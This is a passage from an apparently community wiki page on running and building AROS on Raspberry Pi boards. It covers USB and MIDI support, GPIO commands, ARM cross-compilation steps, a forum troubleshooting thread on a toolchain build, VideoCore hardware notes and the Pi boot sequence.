the offending usb device and reinsert. Sometimes, the reinsert leads to the mouse cursor vanishing, it is still there and responds to left and right clicks. USB classes support from Prefs/Trident is still work in process *usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w *[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], Regarding 680x0 emulation, there are several options that could be considered *[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones *[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games *[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] *[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] [https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] Some exceptions: *Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used *The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V *For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15). With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented. Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi. In the shell GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' *PIN -- (Required) Target GPIO pin number (e.g. 12). *SET -- Set pin output value to 0 (LOW) or 1 (HIGH). *GET -- Read and print current digital input level (0 or 1). *MODE -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate). *PULL -- Configure pull resistor: NONE, UP, DOWN. EXAMPLES <pre> GPIO 12 MODE OUT GPIO 12 SET 1 GPIO 12 GET GPIO 13 PULL UP </pre> [https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&pid=13954#post_13954 discussion] Youtube [], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], [], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], [], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], [], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD ===Hosted=== AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use [https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&pid=13910#post_13910 here] [http://www.aros.org/snapshots1.html old linux and android hosted 32bit] ===Good sites to visit=== *[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] *[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] *[https://rpilocator.com/ RPiLocator] Linux only *[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] *[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] *[https://dietpi.com/ DietPi] *[http://www.tinycorelinux.net/ports.html piCore] *[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] *[https://github.com/armbian/build Armbian] *[ PiMiga] *[ FydeOS] *[ TwisterOS based on ChromiumOS] *[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] Other alternative lighter smaller than Pi OS *[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] *[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4] *[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] *[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] *[https://github.com/stevereaver/uaos uaOS with Emu68k] *[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] *[ HaikuOS] *[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] *[https://github.com/maxnet/berryboot berryboot] *[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] ==== Hosted ==== =====64bit===== [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80&pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] [https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], =====32bit===== Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013] ../AROS/configure --target=linux-armhf --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux) *armel - many of the "android" machines require since the entire OS is made for soft float VFP. *armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP) Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI. Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets. *needs an AROS code compiler for ARM target *as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes. with—disable-crosstools $AROS_CC is always a wrapper around $KERNEL_CC ? If so, this is wrong for some ports. This can break Darwin, Windows and Android port. Yes, Android port will build. And even work. But it's not good because the port will not be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example: <pre> enum test {foo, bar}; enum test testvar; </pre> sizeof(testvar) will be equal to sizeof(int) in GNUEABI (Linux and AROS) and sizeof(short) on Android. This affects linking objects from static linklibs, for example. Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts. Android is the same. $KERNEL_CC is incompatible with AROS. compiler=kernel is appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or barebone hardware, if we talk about native). This includes bootstraps, their linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations. No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows, Android) this is not true any more, and compiler=kernel is never going to work. If you want to compile your AROS module against host OS includes, append the following to USER_INCLUDES (or USER_CFLAGS, this is effectively the same): -isystem $(GENINCDIR) $(KERNEL_INCLUDES) $(KERNEL_INCLUDES) expands to: -isystem <your_os_includes> -isystem <host_OS_gcc_private_includes> -nostdinc This makes AROS compiler adhering to host OS APIs. If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH). Why is there $(GENINCDIR) at all? Because host OS has its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one. Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types. Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but "./configure --target=raspi-armhf" is enough to start, then "make arosboot-raspi" will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc). It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output. *armel = typically Debian 6, Ubuntu Maverick, Android, *armhf = typically Debian 7, Debian 8, Ubuntu Precise, Cross-compiling Ubuntu ARM softfp <pre> sudo sh echo 'foreign-architecture armel' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armel.list apt-get update apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel </pre> <pre> ./configure --target=linux-arm --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabi/include </pre> Cross-compiling Ubuntu ARM hard-float <pre> sudo sh echo 'foreign-architecture armhf' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armhf.list apt-get update apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf </pre> <pre> ./configure --target=linux-armhf --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabihf/include </pre> Now, the AROS build is configured properly and all you need to do is: make ==Build== ===64bit=== ===32bit=== # download/checkout the source someplace, e.g. /build/AROS-Src/ # make a directory to store external sources AROS downloads, e.g. /build/Ports # make a build directory, e.g. /build/aros-raspi-armhf # cd into the build dir, configure, and then run make -: <pre> >cd /build/aros-raspi-armhf >/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports >make >make arosboot-raspi </pre> then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it. You should then be able to boot the sdcard on your RasPi. The current W.I.P tree to svn. it can be built as follows .. <pre> ./configure --target=raspi-armhf make arosboot-raspi </pre> That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder. NB - if you have a Linux/other install, backup the existing config.txt first arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console "emulation" via code pinched from our libbootconsole), kernel.resource, and exec.library arosraspi.rom contains all the other components needed to boot AROS. The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom). the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO) Help building AROS hosted on Linux ARM Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device. Compilation stops after build libpopupmenu.a and trying to build libatomic have this error: <pre> Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic configure: WARNING: unrecognized options: --disable-nls, --without-x checking for --enable-version-specific-runtime-libs... no checking for --enable-generated-files-in-srcdir... no checking build system type... arm-unknown-linux-gnu checking host system type... arm-unknown-aros checking target system type... arm-unknown-aros checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip checking for a thread-safe mkdir -p... /usr/bin/mkdir -p checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking whether make supports nested variables... yes checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc checking whether the C compiler works... no configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic': configure: error: C compiler cannot create executables See config.log' for more details make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77 [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512 [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory make[1]: *** [Makefile:361: linklibs-libatomic] Error 10 make: *** [Makefile:183: crosstools] Error 2 </pre> looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi so do make linklibs-aeabi-arm-quick and the missing lib was built. now the next stop is at fatal error: bits/libc-header-start.h: No such file or directory and fatal error: sys/cdefs.h: No such file or directory in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed? fixed with adding -I/usr/include/arm-linux-gnueabihf to where is missing on mmakefiles like USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES) P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles. Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again. My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a "template" to compare to native compilation under arm linux. Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild). The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC. For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script. Thanks compilation now go forward...changed target.cfg under "toolchain-core-armhf-build/bin/linux-arm/gen/config" and do make on "toolchain-core-armhf-build" dir. Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there: #MM- linklibs-armhd : libklibs-aeabi-arm Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this. Try adding this line (and the variant "linklibs-armhf" instead of hd) but it did not solve the automatic building of the missing lib. I must do "linklibs-aeabi-arm-quick". Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case. With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with "cannot find -laeabi " so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok. == Hardware == ===64bit=== ====BCM2712==== With the Pi5 Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 *Raspberry Pi M.2 HAT+ Expansion Board *Geekworm X1001 PCIe to M.2 Key-M NVMe *Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 *Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 *Hat+ Gen2 Gen3 Nvme *GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2 * *2024 RPI AI HAT - Hailo 20TOPs no LLMs *2026 RPI AI HAT+ 2 - Hailo 40TOPs slightly better? [https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi] *Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor *Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor *Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 2592 x 1944 pixels ====BCM2711==== With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 the 2711b line used more power when idle, compared to the 2711c *2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues *2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design *Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE *[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles. The instruction encoding for the QPUs is different, but the core instructions are the same. Instructions for packed 8 bit int math has been dropped, along with most of the pack modes. Instructions for packed 16bit float math has been added (2 floats at in a single operation) With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register. the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of "one read port, one write port" to one "two read ports, one write port" block) The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. *vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers. *vc5 added a four thread per QPU mode, with 16 registers per thread. *vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads. With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer) A MMU, allowing a much simpler/faster kernel driver. Many more texture formats, framebuffer formats. All the features needed for opengl es 3.0 H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1 HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised Possible maximum performance <pre> VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s </pre> Faster LPDDR4 memory. ====BCM2837==== With the Pi3 * Broadcom BCM43438 chip provides 2.4&nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. Dual VDP and scalable QPU in VC4 ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. ===32bit=== === Core Kernel === ====BCM2708(family)==== which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM) *Framebuffer (fb) using mailbox *IRQ scheduler, etc *Arasan based SD Card controller *Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&view=article&id=106:rasperry-pi-usb-controller&catid=45:raspberry-pi&Itemid=54 Unofficial DOCS pdf], [dwc_otg.c FreeBSD], [], [https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], *[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip *CMOS RAM *VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc *Audio Driver *Serial Peripheral Interface Bus (SPI) *[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers] *I2S *Universal Asynchronous Receiver Transmitter (UART) *[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO] BCM2836 * For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board *[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features], Implemented so far... # Modify the configure system so that it correctly builds for the arm hardware float raspi target. # Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display. # Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function. # Implemented serial debug support # Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc) # Implemented a timer.device to utilise the hardware timers. # Implemented a very basic gfx driver to expose the hardware's framebuffer. # Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media. # Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The "rom" image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot. # Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else. # fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi .. Improvements... # Implement a USB chipset driver "OR" finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the "virtual" hub code in place to represent the raspi's USB port (from poseidons p.o.v) # Implement a driver for the USB NIC (a few weeks - depends on USB above) # Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI] # fix syscall bug in the current raspi kernel code # Graphics depend on having a decent "bcmdma.resource" implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for "blitting". # [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] # [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 # The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate. Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition. The boot sequence carries out several pre-boot tasks *On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf *The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it *configures the memory split for the CPU and GPU *reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings) *loads the “kernel.img” file, again from the same partition *activates the CPU to begin executing the loaded kernel image The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU. RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named "kernel.img" at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem) Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf. You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling. At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules <pre> ? - alias for 'help' mtest - simple RAM test autoscr - run script from memory base - print or set address offset bbm - BBM sub-system bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print online help iminfo - print header information for application image itest - return true/false on integer compare jade - loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) pci - list and access PCI Configuration Space ping - send ICMP ECHO_REQUEST to network host printenv - print environment variables rarpboot - boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage saves - save S-Record file over serial line setenv - set environment variables sleep - 